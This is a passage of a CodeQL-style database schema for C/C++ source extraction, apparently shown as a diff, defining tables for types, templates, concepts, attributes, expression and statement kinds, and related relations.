= @remove_cv +| 13 = @remove_cvref +| 14 = @remove_extent +| 15 = @remove_pointer +| 16 = @remove_reference_t +| 17 = @remove_restrict +| 18 = @remove_volatile +| 19 = @remove_reference +; +*/ + +type_operators( + unique int id: @type_operator, + int arg_type: @type ref, + int kind: int ref, + int base_type: @type ref +) + +/* +case @usertype.kind of +| 0 = @unknown_usertype +| 1 = @struct +| 2 = @class +| 3 = @union +| 4 = @enum +// ... 5 = @typedef deprecated // classic C: typedef typedef type name +// ... 6 = @template deprecated +| 7 = @template_parameter +| 8 = @template_template_parameter +| 9 = @proxy_class // a proxy class associated with a template parameter +// ... 10 objc_class deprecated +// ... 11 objc_protocol deprecated +// ... 12 objc_category deprecated +| 13 = @scoped_enum +// ... 14 = @using_alias deprecated // a using name = type style typedef +| 15 = @template_struct +| 16 = @template_class +| 17 = @template_union +| 18 = @alias +; +*/ + +usertypes( + unique int id: @usertype, + string name: string ref, + int kind: int ref +); + +usertypesize( + unique int id: @usertype ref, + int size: int ref, + int alignment: int ref +); + +usertype_final(unique int id: @usertype ref); + +usertype_uuid( + unique int id: @usertype ref, + string uuid: string ref +); + +/* +case @usertype.alias_kind of +| 0 = @typedef +| 1 = @alias +*/ + +usertype_alias_kind( + int id: @usertype ref, + int alias_kind: int ref +) + +nontype_template_parameters( + int id: @expr ref +); + +type_template_type_constraint( + int id: @usertype ref, + int constraint: @expr ref +); + +mangled_name( + unique int id: @declaration ref, + int mangled_name : @mangledname, + boolean is_complete: boolean ref +); + +is_pod_class(unique int id: @usertype ref); +is_standard_layout_class(unique int id: @usertype ref); + +is_complete(unique int id: @usertype ref); + +is_class_template(unique int id: @usertype ref); +class_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +class_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +class_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@user_or_decltype = @usertype | @decltype; + +is_proxy_class_for( + unique int id: @usertype ref, + int templ_param_id: @user_or_decltype ref +); + +type_mentions( + unique int id: @type_mention, + int type_id: @type ref, + int location: @location ref, + // a_symbol_reference_kind from the frontend. + int kind: int ref +); + +is_function_template(unique int id: @function ref); +function_instantiation( + unique int to: @function ref, + int from: @function ref +); +function_template_argument( + int function_id: @function ref, + int index: int ref, + int arg_type: @type ref +); +function_template_argument_value( + int function_id: @function ref, + int index: int ref, + int arg_value: @expr ref +); + +is_variable_template(unique int id: @variable ref); +variable_instantiation( + unique int to: @variable ref, + int from: @variable ref +); +variable_template_argument( + int variable_id: @variable ref, + int index: int ref, + int arg_type: @type ref +); +variable_template_argument_value( + int variable_id: @variable ref, + int index: int ref, + int arg_value: @expr ref +); + +template_template_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +template_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +template_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@concept = @concept_template | @concept_id; + +concept_templates( + unique int concept_id: @concept_template, + string name: string ref, + int location: @location_default ref +); +concept_instantiation( + unique int to: @concept_id ref, + int from: @concept_template ref +); +is_type_constraint(int concept_id: @concept_id ref); +concept_template_argument( + int concept_id: @concept ref, + int index: int ref, + int arg_type: @type ref +); +concept_template_argument_value( + int concept_id: @concept ref, + int index: int ref, + int arg_value: @expr ref +); + +routinetypes( + unique int id: @routinetype, + int return_type: @type ref +); + +routinetypeargs( + int routine: @routinetype ref, + int index: int ref, + int type_id: @type ref +); + +ptrtomembers( + unique int id: @ptrtomember, + int type_id: @type ref, + int class_id: @type ref +); + +/* + specifiers for types, functions, and variables + + "public", + "protected", + "private", + + "const", + "volatile", + "static", + + "pure", + "virtual", + "sealed", // Microsoft + "__interface", // Microsoft + "inline", + "explicit", + + "near", // near far extension + "far", // near far extension + "__ptr32", // Microsoft + "__ptr64", // Microsoft + "__sptr", // Microsoft + "__uptr", // Microsoft + "dllimport", // Microsoft + "dllexport", // Microsoft + "thread", // Microsoft + "naked", // Microsoft + "microsoft_inline", // Microsoft + "forceinline", // Microsoft + "selectany", // Microsoft + "nothrow", // Microsoft + "novtable", // Microsoft + "noreturn", // Microsoft + "noinline", // Microsoft + "noalias", // Microsoft + "restrict", // Microsoft +*/ + +specifiers( + unique int id: @specifier, + unique string str: string ref +); + +typespecifiers( + int type_id: @type ref, + int spec_id: @specifier ref +); + +funspecifiers( + int func_id: @function ref, + int spec_id: @specifier ref +); + +varspecifiers( + int var_id: @accessible ref, + int spec_id: @specifier ref +); + +explicit_specifier_exprs( + unique int func_id: @function ref, + int constant: @expr ref +) + +attributes( + unique int id: @attribute, + int kind: int ref, + string name: string ref, + string name_space: string ref, + int location: @location_default ref +); + +case @attribute.kind of + 0 = @gnuattribute +| 1 = @stdattribute +| 2 = @declspec +| 3 = @msattribute +| 4 = @alignas +// ... 5 @objc_propertyattribute deprecated +; + +attribute_args( + unique int id: @attribute_arg, + int kind: int ref, + int attribute: @attribute ref, + int index: int ref, + int location: @location_default ref +); + +case @attribute_arg.kind of + 0 = @attribute_arg_empty +| 1 = @attribute_arg_token +| 2 = @attribute_arg_constant +| 3 = @attribute_arg_type +| 4 = @attribute_arg_constant_expr +| 5 = @attribute_arg_expr +; + +attribute_arg_value( + unique int arg: @attribute_arg ref, + string value: string ref +); +attribute_arg_type( + unique int arg: @attribute_arg ref, + int type_id: @type ref +); +attribute_arg_constant( + unique int arg: @attribute_arg ref, + int constant: @expr ref +) +attribute_arg_expr( + unique int arg: @attribute_arg ref, + int expr: @expr ref +) +attribute_arg_name( + unique int arg: @attribute_arg ref, + string name: string ref +); + +typeattributes( + int type_id: @type ref, + int spec_id: @attribute ref +); + +funcattributes( + int func_id: @function ref, + int spec_id: @attribute ref +); + +varattributes( + int var_id: @accessible ref, + int spec_id: @attribute ref +); + +stmtattributes( + int stmt_id: @stmt ref, + int spec_id: @attribute ref +); + +@type = @builtintype + | @derivedtype + | @usertype + | @routinetype + | @ptrtomember + | @decltype + | @type_operator; + +unspecifiedtype( + unique int type_id: @type ref, + int unspecified_type_id: @type ref +); + +member( + int parent: @type ref, + int index: int ref, + int child: @member ref +); + +@enclosingfunction_child = @usertype | @variable | @namespace + +enclosingfunction( + unique int child: @enclosingfunction_child ref, + int parent: @function ref +); + +derivations( + unique int derivation: @derivation, + int sub: @type ref, + int index: int ref, + int super: @type ref, + int location: @location_default ref +); + +derspecifiers( + int der_id: @derivation ref, + int spec_id: @specifier ref +); + +/** + * Contains the byte offset of the base class subobject within the derived + * class. Only holds for non-virtual base classes, but see table + * `virtual_base_offsets` for offsets of virtual base class subobjects. + */ +direct_base_offsets( + unique int der_id: @derivation ref, + int offset: int ref +); + +/** + * Contains the byte offset of the virtual base class subobject for class + * `super` within a most-derived object of class `sub`. `super` can be either a + * direct or indirect base class. + */ +#keyset[sub, super] +virtual_base_offsets( + int sub: @usertype ref, + int super: @usertype ref, + int offset: int ref +); + +frienddecls( + unique int id: @frienddecl, + int type_id: @type ref, + int decl_id: @declaration ref, + int location: @location_default ref +); + +@declaredtype = @usertype ; + +@declaration = @function + | @declaredtype + | @variable + | @enumconstant + | @frienddecl + | @concept_template; + +@member = @membervariable + | @function + | @declaredtype + | @enumconstant; + +@locatable = @diagnostic + | @declaration + | @ppd_include + | @ppd_define + | @macroinvocation + /*| @funcall*/ + | @xmllocatable + | @attribute + | @attribute_arg; + +@namedscope = @namespace | @usertype; + +@element = @locatable + | @file + | @folder + | @specifier + | @type + | @expr + | @namespace + | @initialiser + | @stmt + | @derivation + | @comment + | @preprocdirect + | @fun_decl + | @var_decl + | @type_decl + | @namespace_decl + | @using + | @namequalifier + | @specialnamequalifyingelement + | @static_assert + | @type_mention + | @lambdacapture; + +@exprparent = @element; + +comments( + unique int id: @comment, + string contents: string ref, + int location: @location_default ref +); + +commentbinding( + int id: @comment ref, + int element: @element ref +); + +exprconv( + int converted: @expr ref, + unique int conversion: @expr ref +); + +compgenerated(unique int id: @element ref); + +/** + * `destructor_call` destructs the `i`'th entity that should be + * destructed following `element`. Note that entities should be + * destructed in reverse construction order, so for a given `element` + * these should be called from highest to lowest `i`. + */ +#keyset[element, destructor_call] +#keyset[element, i] +synthetic_destructor_call( + int element: @element ref, + int i: int ref, + int destructor_call: @routineexpr ref +); + +namespaces( + unique int id: @namespace, + string name: string ref +); + +namespace_inline( + unique int id: @namespace ref +); + +namespacembrs( + int parentid: @namespace ref, + unique int memberid: @namespacembr ref +); + +@namespacembr = @declaration | @namespace; + +exprparents( + int expr_id: @expr ref, + int child_index: int ref, + int parent_id: @exprparent ref +); + +expr_isload(unique int expr_id: @expr ref); + +@cast = @c_style_cast + | @const_cast + | @dynamic_cast + | @reinterpret_cast + | @static_cast + ; + +/* +case @conversion.kind of + 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast +| 1 = @bool_conversion // conversion to 'bool' +| 2 = @base_class_conversion // a derived-to-base conversion +| 3 = @derived_class_conversion // a base-to-derived conversion +| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member +| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member +| 6 = @glvalue_adjust // an adjustment of the type of a glvalue +| 7 = @prvalue_adjust // an adjustment of the type of a prvalue +; +*/ +/** + * Describes the semantics represented by a cast expression. This is largely + * independent of the source syntax of the cast, so it is separate from the + * regular expression kind. + */ +conversionkinds( + unique int expr_id: @cast ref, + int kind: int ref +); + +@conversion = @cast + | @array_to_pointer + | @parexpr + | @reference_to + | @ref_indirect + | @temp_init + | @c11_generic + ; + +/* +case @funbindexpr.kind of + 0 = @normal_call // a normal call +| 1 = @virtual_call // a virtual call +| 2 = @adl_call // a call whose target is only found by ADL +; +*/ +iscall( + unique int caller: @funbindexpr ref, + int kind: int ref +); + +numtemplatearguments( + unique int expr_id: @expr ref, + int num: int ref +); + +specialnamequalifyingelements( + unique int id: @specialnamequalifyingelement, + unique string name: string ref +); + +@namequalifiableelement = @expr | @namequalifier; +@namequalifyingelement = @namespace + | @specialnamequalifyingelement + | @usertype; + +namequalifiers( + unique int id: @namequalifier, + unique int qualifiableelement: @namequalifiableelement ref, + int qualifyingelement: @namequalifyingelement ref, + int location: @location_default ref +); + +varbind( + int expr: @varbindexpr ref, + int var: @accessible ref +); + +funbind( + int expr: @funbindexpr ref, + int fun: @function ref +); + +@any_new_expr = @new_expr + | @new_array_expr; + +@new_or_delete_expr = @any_new_expr + | @delete_expr + | @delete_array_expr; + +@prefix_crement_expr = @preincrexpr | @predecrexpr; + +@postfix_crement_expr = @postincrexpr | @postdecrexpr; + +@increment_expr = @preincrexpr | @postincrexpr; + +@decrement_expr = @predecrexpr | @postdecrexpr; + +@crement_expr = @increment_expr | @decrement_expr; + +@un_arith_op_expr = @arithnegexpr + | @unaryplusexpr + | @conjugation + | @realpartexpr + | @imagpartexpr + | @crement_expr + ; + +@un_bitwise_op_expr = @complementexpr; + +@un_log_op_expr = @notexpr; + +@un_op_expr = @address_of + | @indirect + | @un_arith_op_expr + | @un_bitwise_op_expr + | @builtinaddressof + | @vec_fill + | @un_log_op_expr + | @co_await + | @co_yield + ; + +@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr; + +@cmp_op_expr = @eq_op_expr | @rel_op_expr; + +@eq_op_expr = @eqexpr | @neexpr; + +@rel_op_expr = @gtexpr + | @ltexpr + | @geexpr + | @leexpr + | @spaceshipexpr + ; + +@bin_bitwise_op_expr = @lshiftexpr + | @rshiftexpr + | @andexpr + | @orexpr + | @xorexpr + ; + +@p_arith_op_expr = @paddexpr + | @psubexpr + | @pdiffexpr + ; + +@bin_arith_op_expr = @addexpr + | @subexpr + | @mulexpr + | @divexpr + | @remexpr + | @jmulexpr + | @jdivexpr + | @fjaddexpr + | @jfaddexpr + | @fjsubexpr + | @jfsubexpr + | @minexpr + | @maxexpr + | @p_arith_op_expr + ; + +@bin_op_expr = @bin_arith_op_expr + | @bin_bitwise_op_expr + | @cmp_op_expr + | @bin_log_op_expr + ; + +@op_expr = @un_op_expr + | @bin_op_expr + | @assign_expr + | @conditionalexpr + ; + +@assign_arith_expr = @assignaddexpr + | @assignsubexpr + | @assignmulexpr + | @assigndivexpr + | @assignremexpr + ; + +@assign_bitwise_expr = @assignandexpr + | @assignorexpr + | @assignxorexpr + | @assignlshiftexpr + | @assignrshiftexpr + ; + +@assign_pointer_expr = @assignpaddexpr + | @assignpsubexpr + ; + +@assign_op_expr = @assign_arith_expr + | @assign_bitwise_expr + | @assign_pointer_expr + ; + +@assign_expr = @assignexpr | @assign_op_expr | @blockassignexpr + +/* + Binary encoding of the allocator form. + + case @allocator.form of + 0 = plain + | 1 = alignment + ; +*/ + +/** + * The allocator function associated with a `new` or `new[]` expression. + * The `form` column specified whether the allocation call contains an alignment + * argument. + */ +expr_allocator( + unique int expr: @any_new_expr ref, + int func: @function ref, + int form: int ref +); + +/* + Binary encoding of the deallocator form. + + case @deallocator.form of + 0 = plain + | 1 = size + | 2 = alignment + | 4 = destroying_delete + ; +*/ + +/** + * The deallocator function associated with a `delete`, `delete[]`, `new`, or + * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the + * one used to free memory if the initialization throws an exception. + * The `form` column specifies whether the deallocation call contains a size + * argument, and alignment argument, or both. + */ +expr_deallocator( + unique int expr: @new_or_delete_expr ref, + int func: @function ref, + int form: int ref +); + +/** + * Holds if the `@conditionalexpr` is of the two operand form + * `guard ? : false`. + */ +expr_cond_two_operand( + unique int cond: @conditionalexpr ref +); + +/** + * The guard of `@conditionalexpr` `guard ? true : false` + */ +expr_cond_guard( + unique int cond: @conditionalexpr ref, + int guard: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` holds. For the two operand form + * `guard ?: false` consider using `expr_cond_guard` instead. + */ +expr_cond_true( + unique int cond: @conditionalexpr ref, + int true: @expr ref +); + +/** + * The expression used when the guard of `@conditionalexpr` + * `guard ? true : false` does not hold. + */ +expr_cond_false( + unique int cond: @conditionalexpr ref, + int false: @expr ref +); + +/** A string representation of the value. */ +values( + unique int id: @value, + string str: string ref +); + +/** The actual text in the source code for the value, if any. */ +valuetext( + unique int id: @value ref, + string text: string ref +); + +valuebind( + int val: @value ref, + unique int expr: @expr ref +); + +fieldoffsets( + unique int id: @variable ref, + int byteoffset: int ref, + int bitoffset: int ref +); + +bitfield( + unique int id: @variable ref, + int bits: int ref, + int declared_bits: int ref +); + +/* TODO +memberprefix( + int member: @expr ref, + int prefix: @expr ref +); +*/ + +/* + kind(1) = mbrcallexpr + kind(2) = mbrptrcallexpr + kind(3) = mbrptrmbrcallexpr + kind(4) = ptrmbrptrmbrcallexpr + kind(5) = mbrreadexpr // x.y + kind(6) = mbrptrreadexpr // p->y + kind(7) = mbrptrmbrreadexpr // x.*pm + kind(8) = mbrptrmbrptrreadexpr // x->*pm + kind(9) = staticmbrreadexpr // static x.y + kind(10) = staticmbrptrreadexpr // static p->y +*/ +/* TODO +memberaccess( + int member: @expr ref, + int kind: int ref +); +*/ + +initialisers( + unique int init: @initialiser, + int var: @accessible ref, + unique int expr: @expr ref, + int location: @location_expr ref +); + +braced_initialisers( + int init: @initialiser ref +); + +/** + * An ancestor for the expression, for cases in which we cannot + * otherwise find the expression's parent. + */ +expr_ancestor( + int exp: @expr ref, + int ancestor: @element ref +); + +exprs( + unique int id: @expr, + int kind: int ref, + int location: @location_expr ref +); + +expr_reuse( + int reuse: @expr ref, + int original: @expr ref, + int value_category: int ref +) + +/* + case @value.category of + 1 = prval + | 2 = xval + | 3 = lval + ; +*/ +expr_types( + int id: @expr ref, + int typeid: @type ref, + int value_category: int ref +); + +case @expr.kind of + 1 = @errorexpr +| 2 = @address_of // & AddressOfExpr +| 3 = @reference_to // ReferenceToExpr (implicit?) +| 4 = @indirect // * PointerDereferenceExpr +| 5 = @ref_indirect // ReferenceDereferenceExpr (implicit?) +// ... +| 8 = @array_to_pointer // (???) +| 9 = @vacuous_destructor_call // VacuousDestructorCall +// ... +| 11 = @assume // Microsoft +| 12 = @parexpr +| 13 = @arithnegexpr +| 14 = @unaryplusexpr +| 15 = @complementexpr +| 16 = @notexpr +| 17 = @conjugation // GNU ~ operator +| 18 = @realpartexpr // GNU __real +| 19 = @imagpartexpr // GNU __imag +| 20 = @postincrexpr +| 21 = @postdecrexpr +| 22 = @preincrexpr +| 23 = @predecrexpr +| 24 = @conditionalexpr +| 25 = @addexpr +| 26 = @subexpr +| 27 = @mulexpr +| 28 = @divexpr +| 29 = @remexpr +| 30 = @jmulexpr // C99 mul imaginary +| 31 = @jdivexpr // C99 div imaginary +| 32 = @fjaddexpr // C99 add real + imaginary +| 33 = @jfaddexpr // C99 add imaginary + real +| 34 = @fjsubexpr // C99 sub real - imaginary +| 35 = @jfsubexpr // C99 sub imaginary - real +| 36 = @paddexpr // pointer add (pointer + int or int + pointer) +| 37 = @psubexpr // pointer sub (pointer - integer) +| 38 = @pdiffexpr // difference between two pointers +| 39 = @lshiftexpr +| 40 = @rshiftexpr +| 41 = @andexpr +| 42 = @orexpr +| 43 = @xorexpr +| 44 = @eqexpr +| 45 = @neexpr +| 46 = @gtexpr +| 47 = @ltexpr +| 48 = @geexpr +| 49 = @leexpr +| 50 = @minexpr // GNU minimum +| 51 = @maxexpr // GNU maximum +| 52 = @assignexpr +| 53 = @assignaddexpr +| 54 = @assignsubexpr +| 55 = @assignmulexpr +| 56 = @assigndivexpr +| 57 = @assignremexpr +| 58 = @assignlshiftexpr +| 59 = @assignrshiftexpr +| 60 = @assignandexpr +| 61 = @assignorexpr +| 62 = @assignxorexpr +| 63 = @assignpaddexpr // assign pointer add +| 64 = @assignpsubexpr // assign pointer sub +| 65 = @andlogicalexpr +| 66 = @orlogicalexpr +| 67 = @commaexpr +| 68 = @subscriptexpr // access to member of an array, e.g., a[5] +// ... 69 @objc_subscriptexpr deprecated +// ... 70 @cmdaccess deprecated +// ... +| 73 = @virtfunptrexpr +| 74 = @callexpr +// ... 75 @msgexpr_normal deprecated +// ... 76 @msgexpr_super deprecated +// ... 77 @atselectorexpr deprecated +// ... 78 @atprotocolexpr deprecated +| 79 = @vastartexpr +| 80 = @vaargexpr +| 81 = @vaendexpr +| 82 = @vacopyexpr +// ... 83 @atencodeexpr deprecated +| 84 = @varaccess +| 85 = @thisaccess +// ... 86 @objc_box_expr deprecated +| 87 = @new_expr +| 88 = @delete_expr +| 89 = @throw_expr +| 90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2) +| 91 = @braced_init_list +| 92 = @type_id +| 93 = @runtime_sizeof +| 94 = @runtime_alignof +| 95 = @sizeof_pack +| 96 = @expr_stmt // GNU extension +| 97 = @routineexpr +| 98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....) +| 99 = @offsetofexpr // offsetof ::= type and field +| 100 = @hasassignexpr // __has_assign ::= type +| 101 = @hascopyexpr // __has_copy ::= type +| 102 = @hasnothrowassign // __has_nothrow_assign ::= type +| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type +| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type +| 105 = @hastrivialassign // __has_trivial_assign ::= type +| 106 = @hastrivialconstr // __has_trivial_constructor ::= type +| 107 = @hastrivialcopy // __has_trivial_copy ::= type +| 108 = @hasuserdestr // __has_user_destructor ::= type +| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type +| 110 = @isabstractexpr // __is_abstract ::= type +| 111 = @isbaseofexpr // __is_base_of ::= type type +| 112 = @isclassexpr // __is_class ::= type +| 113 = @isconvtoexpr // __is_convertible_to ::= type type +| 114 = @isemptyexpr // __is_empty ::= type +| 115 = @isenumexpr // __is_enum ::= type +| 116 = @ispodexpr // __is_pod ::= type +| 117 = @ispolyexpr // __is_polymorphic ::= type +| 118 = @isunionexpr // __is_union ::= type +| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type +| 120 = @intaddrexpr // frontend internal builtin, used to implement offsetof +// ... +| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type +| 123 = @literal +| 124 = @uuidof +| 127 = @aggregateliteral +| 128 = @delete_array_expr +| 129 = @new_array_expr +// ... 130 @objc_array_literal deprecated +// ... 131 @objc_dictionary_literal deprecated +| 132 = @foldexpr +// ... +| 200 = @ctordirectinit +| 201 = @ctorvirtualinit +| 202 = @ctorfieldinit +| 203 = @ctordelegatinginit +| 204 = @dtordirectdestruct +| 205 = @dtorvirtualdestruct +| 206 = @dtorfielddestruct +// ... +| 210 = @static_cast +| 211 = @reinterpret_cast +| 212 = @const_cast +| 213 = @dynamic_cast +| 214 = @c_style_cast +| 215 = @lambdaexpr +| 216 = @param_ref +| 217 = @noopexpr +// ... +| 294 = @istriviallyconstructibleexpr +| 295 = @isdestructibleexpr +| 296 = @isnothrowdestructibleexpr +| 297 = @istriviallydestructibleexpr +| 298 = @istriviallyassignableexpr +| 299 = @isnothrowassignableexpr +| 300 = @istrivialexpr +| 301 = @isstandardlayoutexpr +| 302 = @istriviallycopyableexpr +| 303 = @isliteraltypeexpr +| 304 = @hastrivialmoveconstructorexpr +| 305 = @hastrivialmoveassignexpr +| 306 = @hasnothrowmoveassignexpr +| 307 = @isconstructibleexpr +| 308 = @isnothrowconstructibleexpr +| 309 = @hasfinalizerexpr +| 310 = @isdelegateexpr +| 311 = @isinterfaceclassexpr +| 312 = @isrefarrayexpr +| 313 = @isrefclassexpr +| 314 = @issealedexpr +| 315 = @issimplevalueclassexpr +| 316 = @isvalueclassexpr +| 317 = @isfinalexpr +| 319 = @noexceptexpr +| 320 = @builtinshufflevector +| 321 = @builtinchooseexpr +| 322 = @builtinaddressof +| 323 = @vec_fill +| 324 = @builtinconvertvector +| 325 = @builtincomplex +| 326 = @spaceshipexpr +| 327 = @co_await +| 328 = @co_yield +| 329 = @temp_init +| 330 = @isassignable +| 331 = @isaggregate +| 332 = @hasuniqueobjectrepresentations +| 333 = @builtinbitcast +| 334 = @builtinshuffle +| 335 = @blockassignexpr +| 336 = @issame +| 337 = @isfunction +| 338 = @islayoutcompatible +| 339 = @ispointerinterconvertiblebaseof +| 340 = @isarray +| 341 = @arrayrank +| 342 = @arrayextent +| 343 = @isarithmetic +| 344 = @iscompletetype +| 345 = @iscompound +| 346 = @isconst +| 347 = @isfloatingpoint +| 348 = @isfundamental +| 349 = @isintegral +| 350 = @islvaluereference +| 351 = @ismemberfunctionpointer +| 352 = @ismemberobjectpointer +| 353 = @ismemberpointer +| 354 = @isobject +| 355 = @ispointer +| 356 = @isreference +| 357 = @isrvaluereference +| 358 = @isscalar +| 359 = @issigned +| 360 = @isunsigned +| 361 = @isvoid +| 362 = @isvolatile +| 363 = @reuseexpr +| 364 = @istriviallycopyassignable +| 365 = @isassignablenopreconditioncheck +| 366 = @referencebindstotemporary +| 367 = @issameas +| 368 = @builtinhasattribute +| 369 = @ispointerinterconvertiblewithclass +| 370 = @builtinispointerinterconvertiblewithclass +| 371 = @iscorrespondingmember +| 372 = @builtiniscorrespondingmember +| 373 = @isboundedarray +| 374 = @isunboundedarray +| 375 = @isreferenceable +| 378 = @isnothrowconvertible +| 379 = @referenceconstructsfromtemporary +| 380 = @referenceconvertsfromtemporary +| 381 = @isconvertible +| 382 = @isvalidwinrttype +| 383 = @iswinclass +| 384 = @iswininterface +| 385 = @istriviallyequalitycomparable +| 386 = @isscopedenum +| 387 = @istriviallyrelocatable +| 388 = @datasizeof +| 389 = @c11_generic +| 390 = @requires_expr +| 391 = @nested_requirement +| 392 = @compound_requirement +| 393 = @concept_id +; + +@var_args_expr = @vastartexpr + | @vaendexpr + | @vaargexpr + | @vacopyexpr + ; + +@builtin_op = @var_args_expr + | @noopexpr + | @offsetofexpr + | @intaddrexpr + | @hasassignexpr + | @hascopyexpr + | @hasnothrowassign + | @hasnothrowconstr + | @hasnothrowcopy + | @hastrivialassign + | @hastrivialconstr + | @hastrivialcopy + | @hastrivialdestructor + | @hasuserdestr + | @hasvirtualdestr + | @isabstractexpr + | @isbaseofexpr + | @isclassexpr + | @isconvtoexpr + | @isemptyexpr + | @isenumexpr + | @ispodexpr + | @ispolyexpr + | @isunionexpr + | @typescompexpr + | @builtinshufflevector + | @builtinconvertvector + | @builtinaddressof + | @istriviallyconstructibleexpr + | @isdestructibleexpr + | @isnothrowdestructibleexpr + | @istriviallydestructibleexpr + | @istriviallyassignableexpr + | @isnothrowassignableexpr + | @istrivialexpr + | @isstandardlayoutexpr + | @istriviallycopyableexpr + | @isliteraltypeexpr + | @hastrivialmoveconstructorexpr + | @hastrivialmoveassignexpr + | @hasnothrowmoveassignexpr + | @isconstructibleexpr + | @isnothrowconstructibleexpr + | @hasfinalizerexpr + | @isdelegateexpr + | @isinterfaceclassexpr + | @isrefarrayexpr + | @isrefclassexpr + | @issealedexpr + | @issimplevalueclassexpr + | @isvalueclassexpr + | @isfinalexpr + | @builtinchooseexpr + | @builtincomplex + | @isassignable + | @isaggregate + | @hasuniqueobjectrepresentations + | @builtinbitcast + | @builtinshuffle + | @issame + | @isfunction + | @islayoutcompatible + | @ispointerinterconvertiblebaseof + | @isarray + | @arrayrank + | @arrayextent + | @isarithmetic + | @iscompletetype + | @iscompound + | @isconst + | @isfloatingpoint + | @isfundamental + | @isintegral + | @islvaluereference + | @ismemberfunctionpointer + | @ismemberobjectpointer + | @ismemberpointer + | @isobject + | @ispointer + | @isreference + | @isrvaluereference + | @isscalar + | @issigned + | @isunsigned + | @isvoid + | @isvolatile + | @istriviallycopyassignable + | @isassignablenopreconditioncheck + | @referencebindstotemporary + | @issameas + | @builtinhasattribute + | @ispointerinterconvertiblewithclass + | @builtinispointerinterconvertiblewithclass + | @iscorrespondingmember + | @builtiniscorrespondingmember + | @isboundedarray + | @isunboundedarray + | @isreferenceable + | @isnothrowconvertible + | @referenceconstructsfromtemporary + | @referenceconvertsfromtemporary + | @isconvertible + | @isvalidwinrttype + | @iswinclass + | @iswininterface + | @istriviallyequalitycomparable + | @isscopedenum + | @istriviallyrelocatable + ; + +compound_requirement_is_noexcept( + int expr: @compound_requirement ref +); + +new_allocated_type( + unique int expr: @new_expr ref, + int type_id: @type ref +); + +new_array_allocated_type( + unique int expr: @new_array_expr ref, + int type_id: @type ref +); + +/** + * The field being initialized by an initializer expression within an aggregate + * initializer for a class/struct/union. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_field_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int field: @membervariable ref, + int position: int ref, + boolean is_designated: boolean ref +); + +/** + * The index of the element being initialized by an initializer expression + * within an aggregate initializer for an array. Position is used to sort repeated initializers. + */ +#keyset[aggregate, position] +aggregate_array_init( + int aggregate: @aggregateliteral ref, + int initializer: @expr ref, + int element_index: int ref, + int position: int ref, + boolean is_designated: boolean ref +); + +@ctorinit = @ctordirectinit + | @ctorvirtualinit + | @ctorfieldinit + | @ctordelegatinginit; +@dtordestruct = @dtordirectdestruct + | @dtorvirtualdestruct + | @dtorfielddestruct; + + +condition_decl_bind( + unique int expr: @condition_decl ref, + unique int decl: @declaration ref +); + +typeid_bind( + unique int expr: @type_id ref, + int type_id: @type ref +); + +uuidof_bind( + unique int expr: @uuidof ref, + int type_id: @type ref +); + +@sizeof_or_alignof = @runtime_sizeof | @runtime_alignof | @datasizeof | @sizeof_pack; + +sizeof_bind( + unique int expr: @sizeof_or_alignof ref, + int type_id: @type ref +); + +code_block( + unique int block: @literal ref, + unique int routine: @function ref +); + +lambdas( + unique int expr: @lambdaexpr ref, + string default_capture: string ref, + boolean has_explicit_return_type: boolean ref +); + +lambda_capture( + unique int id: @lambdacapture, + int lambda: @lambdaexpr ref, + int index: int ref, + int field: @membervariable ref, + boolean captured_by_reference: boolean ref, + boolean is_implicit: boolean ref, + int location: @location_default ref +); + +@funbindexpr = @routineexpr + | @new_expr + | @delete_expr + | @delete_array_expr + | @ctordirectinit + | @ctorvirtualinit + | @ctordelegatinginit + | @dtordirectdestruct + | @dtorvirtualdestruct; + +@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct; +@addressable = @function | @variable ; +@accessible = @addressable | @enumconstant ; + +@access = @varaccess | @routineexpr ; + +fold( + int expr: @foldexpr ref, + string operator: string ref, + boolean is_left_fold: boolean ref +); + +stmts( + unique int id: @stmt, + int kind: int ref, + int location: @location_stmt ref +); + +case @stmt.kind of + 1 = @stmt_expr +| 2 = @stmt_if +| 3 = @stmt_while +| 4 = @stmt_goto +| 5 = @stmt_label +| 6 = @stmt_return +| 7 = @stmt_block +| 8 = @stmt_end_test_while // do { ... } while ( ... ) +| 9 = @stmt_for +| 10 = @stmt_switch_case +| 11 = @stmt_switch +| 13 = @stmt_asm // "asm" statement or the body of an asm function +| 15 = @stmt_try_block +| 16 = @stmt_microsoft_try // Microsoft +| 17 = @stmt_decl +| 18 = @stmt_set_vla_size // C99 +| 19 = @stmt_vla_decl // C99 +| 25 = @stmt_assigned_goto // GNU +| 26 = @stmt_empty +| 27 = @stmt_continue +| 28 = @stmt_break +| 29 = @stmt_range_based_for // C++11 +// ... 30 @stmt_at_autoreleasepool_block deprecated +// ... 31 @stmt_objc_for_in deprecated +// ... 32 @stmt_at_synchronized deprecated +| 33 = @stmt_handler +// ... 34 @stmt_finally_end deprecated +| 35 = @stmt_constexpr_if +| 37 = @stmt_co_return +| 38 = @stmt_consteval_if +| 39 = @stmt_not_consteval_if +; + +type_vla( + int type_id: @type ref, + int decl: @stmt_vla_decl ref +); + +variable_vla( + int var: @variable ref, + int decl: @stmt_vla_decl ref +); + +type_is_vla(unique int type_id: @derivedtype ref) + +if_initialization( + unique int if_stmt: @stmt_if ref, + int init_id: @stmt ref +); + +if_then( + unique int if_stmt: @stmt_if ref, + int then_id: @stmt 